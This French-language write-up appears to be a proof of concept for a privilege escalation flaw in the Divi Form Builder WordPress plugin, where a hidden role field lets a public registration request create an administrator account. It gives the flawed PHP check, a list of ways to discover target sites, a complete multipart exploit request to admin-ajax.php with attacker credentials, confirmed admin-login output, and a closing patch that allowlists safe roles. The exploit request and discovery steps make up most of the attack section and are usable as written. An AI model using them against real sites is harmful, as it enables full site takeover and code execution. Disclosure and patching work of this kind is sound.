includes/shared/handlers/FormSubmissionHandler.php → create_user()

// Ligne ~1691 : Récupère le rôle depuis l'entrée utilisateur (SANS VALIDATION DE SÉCURITÉ)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Ligne ~1702 : Vérifie UNIQUEMENT si le rôle EXISTE dans le système, PAS s'il est SÛR
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Ligne ~1745 : Applique directement le rôle injecté !
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" est directement appliqué

                    FLUX DE VALIDATION PROBLÉMATIQUE
  ┌──────────────────────────────────────────────────────┐
  │  Attaquant envoie : role=administrator               │
  │                    ↓                                  │
  │  sanitize_text_field() → "administrator" (propre)    │
  │                    ↓                                  │
  │  isset($roles_obj->roles["administrator"]) → TRUE    │ ← BUG ! Vérifie seulement EXISTE/N'EXISTE PAS
  │                    ↓                                  │
  │  $user->set_role("administrator") → ADMIN COMPLET !  │ ← PRIVESC !
  └──────────────────────────────────────────────────────┘

  "administrator" EST un rôle valide dans WordPress,
  donc la validation isset() retourne TOUJOURS true.
  Cette fonction NE REFUSE JAMAIS les rôles dangereux.

<!-- Valeur originale du développeur -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- L'attaquant change simplement la valeur -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

[★] Découverte de la cible : Indicateur Divi Form Builder
    ├── Scan d'endpoint : 50+ chemins d'inscription
    ├── Exploration des liens de la page d'accueil : mot-clé prioritaire
    ├── API REST : /wp-json/wp/v2/pages?search=register
    ├── Analyse du sitemap : URLs du sitemap XML
    ├── API REST DFB : /wp-json/divi-form-builder/v1
    ├── Sondage AJAX : de_fb_ajax_submit_ajax_handler
    ├── WooCommerce : /my-account/ sous-pages
    ├── robots.txt : sitemaps personnalisés + disallow
    ├── Pages de contact : formulaires DFB cachés
    └── wp-json deep : scan prioritaire du contenu
    
[✓] Trouvé : <input class="df_hidden_user_role" value="customer">
[✓] Version du plugin : v4.1.9 (VULNÉRABLE)
[✓] Formulaire multi-étapes avec reCAPTCHA v3

Paramètres requis :
  ├── fb_nonce :        [depuis une entrée cachée / de_fb_obj]
  ├── form_key :        [depuis une entrée cachée]
  ├── form_type :       register
  ├── divi-form-submit : yes
  └── role :            [INJECTION : administrator]

Champs de mappage :
  ├── de_fb_user_login + user_login    (les deux variantes obligatoires)
  ├── de_fb_user_email + user_email    
  ├── de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_du_formulaire]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

[→] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 → /wp-admin/

[✓] ACCÈS ADMINISTRATEUR COMPLET CONFIRMÉ
    ├── Tableau de bord : /wp-admin/
    ├── Utilisateurs : Peut créer/supprimer n'importe quel utilisateur
    ├── Extensions : Peut installer/activer/modifier du PHP
    ├── Thèmes : Peut modifier les fichiers de template → RCE
    └── Réglages : Contrôle total du site

╔══════════════════════════════════════════════════════╗
║  RÉSULTATS DE VÉRIFICATION EN LABORATOIRE              ║
╠══════════════════════════════════════════════════════╣
║  Méthode : AJAX (admin-ajax.php)                       ║
║  Rôle injecté : administrator                          ║
║  Réponse : "Inscription réussie !"                     ║
║  Connexion : HTTP 302 → /wp-admin/ ✓                  ║
║  ─────────────────────────────────────────────────     ║
║  Méthode : POST de formulaire (soumission directe)     ║
║  Rôle injecté : administrator                          ║
║  Réponse : "Inscription réussie !"                     ║
║  Connexion : HTTP 302 → /wp-admin/ ✓                  ║
║  ─────────────────────────────────────────────────     ║
║  Statut : ★ PWNED — Accès administrateur complet ★    ║
╚══════════════════════════════════════════════════════╝

// AVANT (vulnérable) :
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Vérifie seulement l'EXISTENCE, pas la SÉCURITÉ
}

// APRÈS (sécurisé) :
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Autoriser uniquement les rôles sûrs pour l'inscription publique
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Refuser tous les rôles dangereux
}